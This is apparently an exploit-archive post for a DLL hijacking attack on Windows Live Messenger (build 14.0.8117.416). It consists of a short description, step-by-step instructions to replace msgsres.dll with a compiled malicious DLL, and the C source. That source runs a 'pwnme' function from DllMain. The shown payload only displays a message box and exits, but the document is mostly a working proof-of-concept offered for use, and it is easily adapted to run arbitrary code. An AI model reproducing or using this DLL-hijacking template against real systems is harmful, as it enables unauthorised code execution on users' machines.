Windows Live! Messenger build 14.0.8117.416 DLL hijacking exploit that leverages msgsres.dll.
8f41614b9670b0009e3b2f9a5db84ff8e5d796f40b83b797325dd6ac9e464e82
/*
Description:
A vulnerability exists in windows that allows other applications dynamic link libraries
to execute malicious code without the users consent, in the privelage context of the targeted application.
Title: Windows Live! Messenger (Build 14.0.8117.416) dll (msgsres.dll) Hijacking exploit
Author: xsploited security
URL: http://www.x-sploited.com/
Email: xsploitedsecurity[at]gmail.com
Instructions:
1. Compile dll
2. Replace msgsres.dll in Windows Live! Messenger program directory with your newly compiled dll
3. Launch Messenger
4. Messagebox shown, Msn closes
*/
#include <windows.h>
int pwnme()
{
MessageBox(0, "Code Execution", "Dll Message", MB_OK);
exit(0);
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
pwnme();
return 0;
}